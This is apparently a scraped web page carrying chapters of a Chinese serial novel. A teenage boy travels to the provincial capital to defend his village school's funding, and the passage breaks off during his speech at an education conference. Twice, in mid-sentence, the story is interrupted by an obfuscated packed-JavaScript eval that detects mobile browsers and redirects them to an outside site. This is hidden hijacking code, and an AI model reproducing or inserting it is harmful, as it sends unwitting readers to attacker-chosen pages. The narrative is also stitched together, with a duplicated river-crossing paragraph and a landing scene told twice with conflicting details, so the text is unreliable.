马车沿着青云河往南走。河水在这里变宽了，水流也缓了。两岸是收割后的稻田，秸秆堆成垛，像一个个沉默的坟包。偶尔有早起的农人在地里干活，看见马车，直起身子望，眼神茫然。 水生趴在车窗上，看得入神：“静轩哥，省城……比咱们镇大多少？” “大很多。”卢明远接话，“光城门就有八个。城里头，马路是柏油的，有电灯，有汽车，还有四层高的楼房。” 水生张大了嘴：“四层？那不得杵到天上去？” 卢明远笑了：“等你去了就知道。” 张静轩没说话。他看着窗外的田野。秋天的田野是枯黄的，但枯黄里有种沉静的美。远处山峦起伏，雾在山腰缠着，像条玉带。这是青石镇的山河，他熟悉的山河。而省城，是另一个世界。 马车走了两个时辰，在路边茶棚停下歇脚。茶棚很简陋，几根竹竿撑着茅草顶，摆着三四张破桌子。棚主是个五十来岁的汉子，独眼，正用蒲扇扇炉子，锅里煮着茶水，咕嘟咕嘟冒泡。 “几位，喝茶？”独眼汉子抬头，目光在张静轩身上停了停。 “歇会儿。”福伯把马车拴好，要了四碗茶。 茶是粗茶，但热乎。水生捧着碗，小口小口喝，眼睛四处看。茶棚里还有两桌客人，一桌是挑担子的货郎，一桌是三个穿短褂的汉子，正在低声说话。 张静轩坐下时，听见那桌汉子说：“……真被抓了？” “抓了。省里来的警察，一窝端。” “马三那小子……” “也栽了。听说是个学生娃子坏的事。” 张静轩心头一跳。学生娃子——说的是他？他低下头，假装喝茶。 “那学生娃子什么来头？” “青石镇张家的，办新学堂那个。” “张家？”说话的人顿了顿，“是不是……三年前那个张家的？” “对。他哥参军了，他爹还在。” “啧，这家人，怎么总跟咱们过不去……” 声音低了下去。张静轩握着茶碗的手，出了汗。福伯显然也听见了，手按在腰间——那里别着短棍。 卢明远正要起身，被福伯按住。老管家摇摇头，示意别动。 喝完茶，继续上路。马车走出老远，福伯才开口：“那几个人，是码头的脚夫。跟马三……可能认识。” “他们认出我了？”张静轩问。 “可能。”福伯说，“但不敢怎样。光天化日，他们没那个胆。” 话虽如此，但接下来的路，福伯赶得更快了。马车在土路上颠簸，张静轩被颠得骨头疼。水生倒不觉得，还兴奋地指着窗外：“看！鸟！好大的鸟！” 是只老鹰，在天空盘旋，翅膀展开，像两把黑色的刀。 中午时分，到了一处镇子。镇子比青石镇大些，有两条交叉的街道，街上人来人往，还算热闹。福伯找了家面馆，四人进去吃饭。 面馆里人不少。跑堂的端着碗穿梭，高声报着菜名。张静轩点了四碗牛肉面，又要了一碟卤豆干。 等面时，邻桌的说话声飘过来。 “……听说了吗？青石镇破了个大案！” “什么案？” “拐卖人口！抓了十几个人，救回来三个。主犯还在逃，叫陈什么……” “陈继业。那家伙我见过，以前在省城开货栈，看着人模狗样的。” “知人知面不知心啊。” 张静轩低头吃面。面条很劲道，牛肉切得薄，汤也鲜。但他吃得没滋味。 消息传得真快。这才几天，连这百里外的镇子都知道了。是沈特派员放的风，还是……别的什么？ 吃完饭，继续赶路。福伯说，天黑前要赶到下一个驿站，不然就得露宿荒野。 下午的路更难走。有一段山路，窄得只容一辆马车通过，一边是山壁，一边是悬崖。福伯小心翼翼地赶车，车轮碾在碎石上，嘎吱作响。水生吓得闭着眼，不敢往外看。 张静轩看着悬崖下的深谷。谷底有条溪流，水声隐隐约约。他忽然想，如果马车掉下去，会怎样？ 这念头一闪而过，他自己都吓了一跳。什么时候起，他也会想这些了？ 过了山路，路平了些。太阳西斜，把田野染成金色。远处出现了一排房屋的轮廓——是驿站。 驿站很破旧，几间土坯房，一个马厩，一个伙房。管事的是个干瘦老头，看见马车，懒洋洋地迎出来：“住店？” “住店。”福伯跳下车，“两间房。” “就一间。”老头说，“今天人多，都住满了。” 果然，马厩里拴着好几匹马，还有两辆货车。伙房里飘出饭香，有人在里面说话。 一间房就一间房。房间很小，一张大炕，能睡四个人。炕上铺着草席，有股霉味。水生倒不嫌弃，放下包袱就躺上去：“累死了……” 卢明远检查了门窗，还算结实。福伯把马车赶进马厩，喂了马料，回来时端着一盆热水：“擦把脸，早点睡。明儿天不亮就得走。” 四人简单洗漱，上炕睡觉。水生很快睡着了，呼吸均匀。卢明远也累了，背过身去。张静轩睁着眼，看着屋顶的椽子。椽子黑黢黢的，结着蜘蛛网。 他想起茶棚里那几个汉子的话，想起面馆里的议论，想起悬崖下的深谷。这些像碎片，在黑暗里漂浮，拼不出完整的图案，但有种不祥的预感。 “福伯，”他轻声问，“您睡了吗？” “没。”老管家在炕那头答。 “您说……省城那些人，会听我们说话吗？” 福伯沉默了一会儿：“不知道。但去说，总比不说强。” 这话实在。张静轩笑了笑。是啊，去说，总比不说强。成不成，另说。 他闭上眼睛，慢慢睡着了。梦里，他看见大哥。大哥穿着军装，站在一片开阔地上，身后是连绵的青山。他回头，对张静轩笑：“静轩，好好守着学堂。等哥回来，咱们一起教孩子。” 他重重点头。 醒来时，天还没亮。福伯已经起来了，正收拾东西。卢明远也醒了，在穿鞋。只有水生还睡着，蜷成一团，像只小猫。 “该走了。”福伯说。 叫醒水生，四人简单吃了点干粮，继续上路。清晨的雾气很浓，马车像在云里走。路边的草叶上结着霜，白花花的，像撒了层盐。 今天要过青云河最大的渡口。福伯说，渡口人多眼杂，要小心。 到渡口时，太阳已经升起来了。河面很宽，水流平缓，对岸的景物在晨光里模模糊糊。渡口停着几条渡船，船夫正在揽客。岸边聚了不少人，有挑担的，有推车的，有骑马的，都在等船。 福伯去打听船期。张静轩站在岸边，看着河水。河水黄浊，打着旋儿，往下游流去。这水流到哪儿？省城？还是更远的大海？ “静轩。” 卢明远走过来，压低声音：“你看那边。” 张静轩顺着他的目光看去。渡口边的茶摊上，坐着两个人，都穿着长衫，戴着礼帽，手里拿着报纸，但眼神时不时瞟向这边。 “他们……在盯我们？”张静轩问。 “可能。”卢明远说，“从早上出驿站，我就觉得有人跟着。” 张静轩心头一紧。是陈继业的人？还是……别的什么人？ 福伯回来了：“最早的一班船，还要等半个时辰。咱们先找个地方坐。” 四人找了个离茶摊远些的石头坐下。水生饿了，掏出烙饼吃。张静轩没胃口，只是盯着河面。 那两个人还在茶摊上，不时低声交谈。其中一个人站起身，往这边走来。 张静轩握紧了怀里的刀。 那人走近了，是个三十来岁的男子，面容清瘦，眼神温和。他在张静轩面前停下，微微躬身：“请问，是青石镇张家的少爷吗？” 张静轩没说话，只是看着他。 男子笑了笑：“别紧张。我是《新报》的记者，林觉民的同事，姓方。”他从怀里掏出记者证，“林记者托我带个话——省城那边，情况比想象的复杂。你们去，要有个准备。” 张静轩接过记者证，看了看，是真的。 “什么准备？”他问。 方记者四下看了看，压低声音：“教育厅里，不止郑副厅长一个人卡你们。还有几个科长、科员，都收了……某些人的好处。”他顿了顿，“你们去要拨款，等于断人财路。断人财路，如杀人父母。” 这话说得直白。张静轩明白了——卡拨款，不只是保守派打压新学，还有利益。 “那怎么办？” “两条路。”方记者说，“第一，妥协。他们开条件，你们答应。第二，硬扛。把事情闹大，闹到省府高层，闹到报纸头条。” “您建议哪条？” 方记者笑了：“我不是建议，是传话。林记者说，看你们自己的选择。但无论选哪条，他都会写文章支持。” 他说完，转身走了，回到茶摊，和同伴低声说了几句，两人起身离开，很快消失在人群里。 张静轩看着他们消失的方向，心里沉甸甸的。两条路，都不好走。妥协，违背初心；硬扛，风险太大。 “静轩，”卢明远轻声问，“怎么办？” 张静轩沉默良久，抬头看向河对岸。对岸的景物在晨光里渐渐清晰——房屋的轮廓，炊烟，还有远处隐约的城墙。 那是省城。那里有电灯，有汽车，有四层高的楼房，也有更复杂的争斗，更深的黑暗。 但他必须去。 “走。”他说，“过河。” 船来了。是条大木船，能载二三十人。船夫吆喝着，众人陆续上船。福伯把马车也赶上船——马有些怕，嘶鸣着，不肯动，费了好大劲。 船开了。桨划破水面，哗啦哗啦。船身摇晃，水花溅上来，凉丝丝的。张静轩站在船头，看着青石镇的方向。已经看不见了，只有连绵的青山，在晨雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140655|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里淡得像水墨画。 那是他的家乡。有祠堂，有学堂，有老槐树，有二十八个孩子。 他要为那个地方，争一个公道。 船到河心，水流急了。船夫用力划桨，喊着号子。风吹过来，带着河水的腥气和远方的陌生气息。 水生忽然说：“静轩哥，等咱们从省城回来，俺要告诉学堂里所有人，省城是什么样的。” 张静轩摸了摸他的头：“好。” 船到河心，水流急了。船夫用力划桨，喊着号子。风吹过来，带着河水的腥气和远方的陌生气息。张静轩收回望向家乡的目光，无意间瞥见对岸码头上，方才茶摊旁那两个戴斗笠的人已经不见了。 他心里那根弦微微绷紧。福伯似乎也有所觉，不动声色地将水生往船舱里侧带了带。渡船靠岸，跳板放下。踏上对岸坚硬冰冷的青石板，混杂着煤烟、牲畜和陌生香料的气味扑面而来，正式宣告他们已离开青云县地界。福伯去牵马车，张静轩和卢明远帮着搬运简单的行李。 “几位，打尖还是赶路啊？”一个穿着半旧短褂、面相精明的汉子凑上来，眼睛在张静轩身上打了个转，“看几位像是头一回来这渡口？需不需要雇个向导？省城路杂，不好走。” 卢明远客气地摆摆手：“多谢，有熟路。”那汉子也不纠缠，笑了笑便退开了。 对岸越来越近。码头上人影憧憧，喧嚣声传来。那是另一个世界。 船靠岸了。跳板放下，众人下船。张静轩踏上省城的土地——硬实的，铺着青石板，和青石镇一样，又不一样。 福伯去牵马车。卢明远指着前方：“看，那就是城门。” 果然，一道高大的城门矗立在晨光里。门洞深黑，像巨兽的嘴。城墙上飘着旗，看不清是什么旗。 四人朝城门走去。越近，人越多。挑担的，推车的，骑马的，还有几辆汽车，嘀嘀地按着喇叭。空气里混着各种气味——马粪味、汗味、早点味，还有一种说不清的、属于大城市的躁动。 张静轩握紧了包袱。里面装着沈特派员的介绍信，装着学堂的证明材料，装着青石镇街坊凑的钱，也装着他十五岁的心。 城门口，有警察站岗，检查行人。轮到他们时，警察看了看马车，又看了看人：“哪儿来的？” “青石镇。”福伯答。 “来干什么？” “办事。” 警察打量了张静轩几眼：“学生？” “是。” “进去吧。” 过了城门，眼前豁然开朗。一条宽阔的街道延伸向前，两旁是店铺，招牌琳琅满目。有卖绸缎的，卖茶叶的，卖洋货的。行人摩肩接踵，声音嘈杂。远处，果然有四层高的楼房，还有电车的轨道。 水生看得呆了，张着嘴，说不出话。 卢明远笑：“这才刚进城。等会儿到市中心，更热闹。” 福伯赶着马车，在人群中缓慢前行。张静轩看着两旁的一切——这就是省城。繁华，喧嚣，陌生。 他们找了家客栈住下。客栈在一条偏街上，不算大，但干净。安顿好后，卢明远说：“我先去教育厅打听打听。你们歇着。” 他走了。福伯在房间里检查门窗。水生趴在窗台上，看街景。 张静轩坐在床边，摊开包袱。那些材料，他翻过无数遍了，但此刻再看，忽然觉得单薄——几页纸，怎么抵得过那些盘根错节的利益？ 但他必须试试。 傍晚，卢明远回来了，脸色不好。 “怎么样？”张静轩问。 “不妙。”卢明远坐下，“我托人打听了，郑副厅长这几天都不在厅里。说是去南京开会了。但底下人说，是故意躲着。” “躲我们？” “可能。”卢明远说，“而且，教育厅里确实有人在活动，说青石镇学堂‘手续不全’‘资质可疑’。这话，已经传到几个关键人物耳朵里了。” 张静轩沉默。他想过难，但没想到这么难——连面都见不着。 “那……咱们直接去厅里？” “去也没用。”卢明远摇头，“门房不会让进。就算进了，见到的也是小科员，做不了主。” 房间里一时寂静。窗外的省城华灯初上，电灯一盏盏亮起来，黄澄澄的，不像油灯那样跳动，稳定得让人陌生。 水生小声说：“那……咱们白来了？” “不会白来。”张静轩忽然说，“见不着官，就见民。” “见民？” “对。”张静轩站起身，“林记者不是说了吗？把事情闹大，闹到报纸头条。咱们就闹——去学校讲，去商会讲，去一切能讲话的地方，讲青石镇学堂的事，讲那些被拐卖的人，讲老百姓怎么凑钱办学。” 卢明远眼睛一亮：“你是说……造势？” “对。”张静轩点头，“官不听，就让民听。民听了，议论了，报纸写了，官就不得不听。” 福伯看着他，眼神复杂：“小少爷，这……太冒险了。” “不冒险，怎么办？”张静轩反问，“等？等到什么时候？等到学堂垮了？等到孩子们没学上了？” 没人说话。 “明天，”张静轩说，“我去省立师范学堂。苏先生是从那儿毕业的，她的老师、同学，总有人愿意听。” 卢明远点头：“我去商会。我爹在那儿有熟人。” “那……俺呢？”水生问。 张静轩摸摸他的头：“你跟我去。把你的故事，讲给人听。” 计划定下了。夜里，张静轩又睡不着。他看着窗外的电灯，那光稳定，冰冷，不像油灯那样有温度。省城的夜晚，也比青石镇吵——汽车声，电车声，还有隐约的留声机声，混在一起，像某种庞大的机器的呼吸。 他想起青石镇的夜。安静，只有更夫的梆子声，和青云河的水声。 14. 第十四章 省城暗涌 在客栈安顿下来的第二天，张静轩便决定开始行动，迎着晨光走向了省立师范学堂。学校位于城东，红砖围墙，铁艺大门，透过栅栏能看见宽阔的操场和一座气派的三层教学楼。穿着统一制服的学生正列队走进教室，秩序井然，与青石镇学堂孩子们撒欢跑进祠堂的光景截然不同。张静轩站在门外，抬头看着门楣上的校训：“诚朴勤勇”。四个隶书大字，漆已斑驳，但骨架仍在。 水生扯了扯他的衣角：“静轩哥，这儿……真大。” 确实大。青石镇学堂只有一座祠堂，这里却是成片的楼宇，三层的主教学楼，红砖墙，玻璃窗，操场上还有篮球架。晨读声从教学楼里飘出来，整齐，清亮，和他家乡孩子们参差不齐的读书声不同。 “走吧。”张静轩深吸一口气，走上台阶。 门房是个戴眼镜的老头，从窗口探出头：“找谁？” “我找国文系的李孟实教授。”张静轩递上苏宛音写的介绍信，“青石镇学堂的苏先生托我来的。” 老头接过信，看了看，又打量张静轩：“苏宛音？那丫头啊……进来吧。李教授这会儿该在办公室。” 穿过操场时，几个穿着蓝色学生装的女学生经过，看见他们，窃窃私语。水生不好意思地低下头。张静轩挺直脊背——不能给青石镇丢人。 李教授的办公室在主楼二楼。敲门进去时，老先生正伏案批改作业。听见声音抬头，花白的头发，圆框眼镜，面容清癯。 “李教授。”张静轩躬身行礼，“苏宛音先生托我向您问好。” “宛音啊……”李教授放下笔，眼神温和，“坐。她还好吗？” “还好。在青石镇办学堂。” “我听说了。”李教授示意他们坐下，“她在信里提过。怎么，遇到难处了？” 张静轩将青石镇的事一一道来——办学，遇阻，抓马三，救被拐者，以及如今省教育厅卡拨款。他说得很平静，但字字清晰。水生在一旁坐着，手紧紧抓着衣角。 李教授静静听着，手指轻轻敲击桌面。等张静轩说完，他摘下眼镜，擦了擦镜片。 “难为你们了。”他重新戴上眼镜，“宛音那孩子，性子倔，像她父亲。当年她父亲在我门下读书时，也是这般——认准的事，九头牛拉不回。” “苏先生父亲……” “苏文渊，我教过的最好的学生之一。”李教授眼神有些悠远，“光绪二十四年进士，本可前程似锦，偏要搞什么维新。后来……你们都知道了。” 办公室里一时安静。窗外传来操场上体育课的哨声，尖锐，刺耳。 “教授，”张静轩开口，“我们这次来省城，就是想为学堂争个公道。拨款被卡，总得有个说法。” 李教授看着他，忽然笑了：“孩子，你今年多大？” “十五。” “十五……”教授重复了一遍，“我十五岁时，还在背《四书》。你倒好，已经为了一所学堂，千里迢迢来省城讨说法了。” 张静轩没说话。 “你想我怎么帮？”李教授问。 “苏先生说，您是省教育界的耆宿，说话有分量。若能为我们说句话……” “说话容易。”李教授打断他，“但话要有人听。如今教育厅里，派系林立，新派旧派斗得厉害。你们青石镇学堂，恰好处在风口浪尖上——办的是新学，却在乡下；背景单纯，却又牵扯旧案。难啊。” 这话和方记者说的一样。张静轩心里一沉。 “不过，”李教授话锋一转，“也不是全无办法。”他站起身，从书架上取下一本册子，“下个月初，省教育学会要开年会。届时教育厅长、各大校长、社会名流都会到场。你若能在年会上发言，把青石镇的事当众说出来，或许……能引起注意。” “年会？”张静轩一愣，“我能去吗？” “按理说，不能。”李教授笑了，“但我是学会的常务理事，可以带一个‘助手’进场。你愿不愿意，当我的助手？” 张静轩心跳加快。这是个机会——在省城教育界最高规格的会议上发言，把青石镇的声音传出去。 “我愿意。”他说。 “好。”李教授点头，“不过，发言不能太长，不能太激。要讲事实，讲困难，讲希望。最重要的是——要让人记住。” 他顿了顿：“宛音的父亲当年在变法时，说过一句话：‘说真话，但要说得让人愿意听。’你记着这句话。” 从师范学堂出来时，已是晌午。阳光很好，照得省城的街道明晃晃的。张静轩走在人群里，脑子里还在回响李教授的话：说真话，但要说得让人愿意听。 水生跟在他身边，小声问：“静轩哥，那个教授……会帮咱们吗？” “会。”张静轩说，“但帮到什么程度，看咱们自己。” 两人回到客栈时，卢明远已经回来了，脸色比昨天更难看。 “商会那边……”他摇头，“没人愿意出面。都说这是‘官府的事’，商人不好插手。” 意料之中。张静轩没太失望。他把见李教授的事说了。 “教育学会年会？”卢明远眼睛一亮，“那可是大场合！静轩，你要是能在那里发言，效果比登报还强！” “但还有半个月。”张静轩说，“这半个月，咱们不能干等。” “你想做什么？” 张静轩想了想：“咱们去拜访其他学堂。省城不止一所新式学堂，那些办学的先生、校长，总该理解我们的难处。” 接下来的几天，他们开始奔走。省城果然大，光是新式学堂就有七八所，有公立的，有私立的，还有教会办的。他们一家家拜访，讲青石镇的事，讲办学的艰难，讲孩子们对读书的渴望。 有些学堂的先生很热情，听了唏嘘不已，答应帮忙说话；有些则态度冷淡，推说“爱莫能助”；还有一家教会学堂的洋人校长，听了翻译的话，直摇头：“你们中华民国的官僚……唉。” 但不管怎样，张静轩都认真地说，认真地听。他带着水生，走遍了省城的大街小巷。省城确实繁华，有电车叮叮当当地开过，有商店橱窗里摆着洋货，有戏院门口贴着花花绿绿的海报。但张静轩觉得，这些繁华背后，有种冷漠——每个人都在忙自己的事，很少人愿意停下来，听一个乡下孩子讲一所学堂的故事。 第五天傍晚，他们回到客栈，都累得够呛。福伯煮了姜茶，一人一碗。水生捧着碗，眼睛红红的。 “静轩哥，”他小声说，“今天那个学堂的先生……他说咱们是‘乡下人不懂规矩’。” 张静轩摸摸他的头：“他说他的，咱们做咱们的。” “可是……”水生低下头，“俺觉得，省城的人……看不起咱们。” 这话说得直白，但也真实。这几天，张静轩也感觉到了——那些礼貌背后的疏离，那些同情背后的优越感。在省城人眼里，青石镇大概只是个偏僻的、落后的小地方，那里的学堂，那里的孩子，都无足轻重。 “水生，”张静轩说，“你知道咱们青石镇，有多少年历史吗？” 水生摇头。 “至少三百年。”张静轩说，“青云河还没改道的时候，咱们镇子就在那儿了。省城呢？也不过百来年。谁看不起谁，还不一定。” 这话说得硬气。水生抬起头，眼睛亮了。 夜里，张静轩又在灯下写信。这次是写给苏宛音和程秋实的。 “苏先生、程先生台鉴：省城已至数日，奔走各学堂，见闻颇多。李孟实教授允助我在教育学会年会发言，此或为转机。然省城繁华之下，人情淡漠，非故乡可比。但请二位先生放心，学堂之事，静轩必竭尽全力。另，水生甚念学堂同窗，嘱我代问好。静轩谨上。” 信写得很短。他吹干墨迹，折好，放进信封。明天托福伯寄出去。 正要吹灯睡下，门外传来轻轻的敲门声。 “谁？” “我。”是卢明远的声音。 张静轩开门。卢明远闪身进来，手里拿着一封信，脸色凝重。 “静轩，我爹刚托人捎来的信。”他压低声音，“你看。” 信是卢父亲笔，写得很急：“明远吾儿：今日得悉，陈继业并未南下，仍在省内。有人在邻县见过他，身边跟着四五人，皆带家伙。彼等似在策划什么，目标或为青石镇，或为尔等。速告静轩，务必小心。父字。” 张静轩的心沉下去。陈继业没走，还在省内。而且，目标可能是他们。 “沈特派员知道吗？”他问。 “应该不知道。”卢明远说，“我爹的消息，是从商会一个朋友那儿得来的，那人跟陈继业以前有生意往来。” “那咱们……” “得告诉沈特派员。”卢明远说，“但他在省城，咱们怎么联系？” 张静轩想了想：“李教授。他是教育界的人，但省城人脉广，或许有办法。” 两人商议到深夜。最后决定，明天一早就去找李教授。无论如何，得让沈特派员知道这个消息。 第二天清晨，张静轩再次来到师范学堂。李教授听了，眉头紧锁。 “陈继业……”他沉吟道，“这个人我听说过。早年在省城做生意，后来不知怎么就跟那些脏事扯上了。”他顿了顿，“你们先别急。我有个学生在警务厅，虽然不是沈特派员那条线，但可以传话。” 他当即写了张条子，让张静轩去警务厅找一个姓周的科长。 警务厅在省城西区，一幢灰色的三层楼，门口站着持枪的岗哨。张静轩递上条子，等了约莫一刻钟，才被带进去。 周科长是个四十来岁的汉子，方脸，浓眉，穿着制服，坐在办公桌后。他看了条子，又打量张静轩：“你就是青石镇那个孩子？” “是。” “陈继业的事，我知道了。”周科长说，“沈特派员那边，我会通知。但你们自己，要格外小心。”他顿了顿，“陈继业这个人，心狠手辣，睚眦必报。你们坏了他的事，他不会善罢甘休。” “我们知道。” “知道就好。”周科长站起身，走到窗边，“省城不比乡下，人多眼杂，他不敢明着来。但暗地里……难说。”他转过身，“这样吧，我派两个人，暗中保护你们。直到你们离开省城。” 张静轩一愣：“这……太麻烦您了。” “不麻烦。”周科长摆摆手，“沈特派员是我老同学，他的案子，我该帮忙。况且……”他笑了笑，“你们这些孩子，为了办学，敢跟那些人斗，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140656|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易。” 从警务厅出来，张静轩感觉肩上的担子轻了些。有人保护，总归是好事。但他心里清楚，真正的安全，得等陈继业落网。 回到客栈，他把情况说了。卢明远松了口气，福伯也点点头。 “那咱们接下来……”卢明远问。 “等。”张静轩说，“等年会，等发言的机会。在这之前，咱们照常拜访各学堂，但……要更小心。” 接下来的日子，张静轩能感觉到，确实有人在暗中保护他们。有时在街上，能瞥见两个穿便衣的人，不远不近地跟着；有时回客栈，会发现门口多了些陌生的“闲人”。但他们不说话，不打扰，只是默默跟着。 有次去拜访一所女子学堂，出来时天已擦黑。刚走到街口，一辆黑色汽车突然从巷子里冲出来，直朝他们撞来。张静轩眼疾手快，一把将水生拉到路边。汽车擦身而过，没停，消失在夜色里。 惊魂未定，那两个便衣冲过来：“没事吧？” “没事。”张静轩摇头，但手心全是汗。 “看清车牌了吗？”一个便衣问。 “没……太快了。” 两个便衣对视一眼，其中一个匆匆去追，另一个留下：“从明天起，我接送你们。” 果然，第二天开始，那个便衣——姓赵，大家都叫他赵哥——就全程跟着他们。赵哥话不多，但眼神锐利，手总是插在口袋里，那里鼓囊囊的，显然是枪。 有了赵哥，拜访顺利了些。那些原本冷淡的学堂，见他们有“警卫”，态度也恭敬了些。张静轩心里苦笑——这世道，有时候，武力比道理更有用。 离年会还有三天时，张静轩接到了李教授的通知：发言时间定在年会第二天的下午，给他十分钟。 “十分钟，说一个学堂的故事，足够了。”李教授在电话里说，“稿子准备好了吗？” “准备好了。”张静轩说。 其实他根本没写稿子。这些天，他白天拜访各学堂，晚上就在脑子里一遍遍想，要说什么，怎么说。青石镇的山河，学堂的孩子，街坊的义气，苏宛音的坚持，程秋实的努力，还有那些被拐卖的人，那些黑暗与光明……都在他心里，不需要稿子。 年会前一天，张静轩去了趟省城的书店。他想找些书，带回去给学堂的孩子。书店很大，两层楼，摆满了书。他在教育类的书架前停下，一本本地看。 忽然，他在一本《新教育法》的旁边，看到了一本小册子——《青石镇新式学堂办学记》。 他愣住了。拿起来翻看，果然是林觉民写的。文章从青石镇办学开始，写到遇阻，写到反击，写到如今。文字朴实，但字字真切。册子印得简陋，显然是自费印刷的。 “这本书，卖得好吗？”他问店员。 店员是个戴眼镜的年轻人，看了看书：“哦，这本啊。是报馆的林记者自己印的，放在这儿代售。卖得……还行。有些学生买，有些先生也买。” 张静轩心里一暖。林觉民，那个只见过一面的记者，还在用他的方式，支持着青石镇。 他买下了那本小册子，又挑了几本适合孩子读的书——《儿童世界》《格致读本》《算术游戏》。结账时，店员看了看他：“你是……青石镇的？” “是。” 店员笑了：“那这本《办学记》，我不收你钱。林记者说了，青石镇的人来买，免费。” 张静轩道了谢。走出书店时，阳光正好，照在书封上，那几个字闪闪发亮。 回到客栈，他把小册子给水生看。水生识字还不多，但认得“青石镇”三个字，兴奋地指着：“静轩哥，咱们镇上书了！” “是啊。”张静轩摸摸他的头，“等咱们回去，把这本书给学堂里每个人都看看。” 夜里，张静轩又失眠了。明天就是年会，他要面对省城教育界最顶尖的一群人，说青石镇的故事。紧张吗？当然紧张。但他更多的是……一种平静的坚定。 他想起了青石镇的清晨，祠堂的钟声，孩子们读书的声音，街坊们凑钱时粗糙的手，苏宛音在黑板上写字的背影，程秋实讲《满江红》时激昂的语气……这些，都是他要说的。 还有大哥。大哥在前线，用枪保卫这片山河；他在后方，用笔，用声音，保卫这片山河的未来。 他坐起身，点亮灯，摊开纸。不是写稿子，而是画图——青石镇的地图。祠堂，张家，青云河，码头，关帝庙废墟……一笔一画，都在他心里。 画完，他在图旁写了一行字：“此心安处是吾乡。” 心安处，是青石镇，是学堂，是这片他要用一生守护的山河。 吹熄灯，躺下。窗外，省城的夜依然喧嚣。但张静轩觉得，那喧嚣里，也有一种力量——变革的力量，前行的力量。 明天，他要站到台上，把那力量，说给所有人听。 无论结果如何，他都要把青石镇的声音，留在省城。 留在那些可能改变中华民国教育的人心里。 窗外的月光，清冷冷地照进来。 照着他十五岁的脸。 那张脸上，有稚气，但更多是坚定。 明天，太阳照常升起。 而他，要站在光里。 说光的话。 15. 第十五章 台上十分钟 省教育学会年会的会场设在省立图书馆的演讲厅。这是一座西式建筑，穹顶高阔，大理石柱子上雕刻着卷草纹。上午九点，厅里已经坐满了人。前排是教育厅的官员、各大校长、社会名流，穿着长衫或西装，正襟危坐。后排是各学堂的教师代表，低声交谈着。 张静轩坐在侧幕的椅子上，透过幕布的缝隙往外看。水生紧挨着他，小手攥着他的衣角，手心全是汗。赵哥站在他们身后，手插在口袋里，目光警惕地扫视着四周。 “静轩哥，”水生小声说，“好多人……” “嗯。”张静轩应了一声。确实很多人，怕是有两三百。这是他第一次在这么多人面前说话。紧张吗？有一点。但更多的是一种奇异的平静——就像拉弓时，箭在弦上，心反而定了。 李教授从前面走过来，手里拿着议程表：“静轩，你是第三个发言。前面是教育厅郑副厅长致辞，然后是省立一中校长做年度报告。到你的时候，我会介绍。” “郑副厅长？”张静轩心头一动。那个卡拨款的郑副厅长？ “对。”李教授压低声音，“他今天肯定要说些冠冕堂皇的话，什么‘教育救国’‘启智新民’之类。你听了，别往心里去。” 张静轩点头。他明白李教授的意思——官话归官话，实事归实事。 十点整，年会开始。一个穿长袍马褂的主持人上台，敲了敲铃，厅内安静下来。接着，一个五十来岁、戴着金丝眼镜的中年人走上讲台——正是郑副厅长。 郑副厅长的致辞果然如李教授所料，洋洋洒洒，引经据典，从孔夫子讲到蔡元培，从“有教无类”讲到“教育平等”。台下不时响起掌声，但张静轩听得出，那掌声多是礼节性的。 “……故我辈教育工作者，当以启民智、育新人为己任，虽九死其犹未悔！”郑副厅长最后一句提得很高，手臂一挥，颇有气势。 掌声雷动。郑副厅长微微颔首，走下台，经过侧幕时，目光在张静轩身上停留了一瞬，又移开了。那眼神，平静无波，像看一件无关紧要的摆设。 接下来是省立一中校长的报告。校长是个清瘦的老者，说话慢条斯理，讲的是学校这一年的成绩——多少学生考上大学，多少教师在学术期刊发表文章，多少经费用于购置实验器材。数据详实，但听得人昏昏欲睡。 张静轩看着台下。有人在本子上记着什么，有人悄悄打哈欠，有人交头接耳。这就是省城教育界的顶尖聚会？和他想象的不太一样——少了几分热血，多了几分程式。 终于，主持人宣布：“下面，有请青石镇新式学堂的学生代表，张静轩同学发言。他发言的题目是——《一所乡村学堂的坚守》。” 厅内响起稀稀拉拉的掌声。张静轩深吸一口气，走上讲台。 讲台很高，他个子不算矮，但站在那儿，仍觉得台下的人都在仰视着他——或者说，在审视着他。灯光很亮，照得他有些睁不开眼。他能感觉到几百道目光，像细密的针，扎在身上。 他定了定神，开口：“诸位先生，诸位师长。我是青石镇新式学堂的学生，张静轩。” 声音通过麦克风传出去，在空旷的大厅里回荡。他自己的声音，听起来有些陌生。 “青石镇是个小镇，在青云河边，离省城一百八十里。镇上有一千多户人家，大半务农，小半做小生意。三年前，镇上办起了第一所新式学堂。办学的人，是我的父亲，还有镇上的几位乡绅。” 他停顿了一下，目光扫过台下。有些人抬起头，似乎有了点兴趣。 “办学不容易。第一年，只有十二个学生，都是男孩。第二年，开了女班，多了八个女孩。先生是省城师范学堂毕业的，一男一女，男的教国文修身，女的教算学格致。束脩不多，但他们教得很用心。” 他讲起学堂的日常：清晨的钟声，孩子们的读书声，苏宛音在黑板上写字时的侧影，程秋实讲《满江红》时的激昂。讲得平静，但那些画面，随着他的叙述，在厅里慢慢铺开。 “但是，办学遇到了困难。”他话锋一转，“有人往学堂后墙泼粪，有人在夜里扔石头，有人散布谣言，说学堂教坏孩子，说女先生不守妇道。还有人，在省教育厅卡住了我们的拨款，说我们‘手续不全’‘资质可疑’。” 台下开始窃窃私语。有人皱眉，有人摇头，有人面无表情。 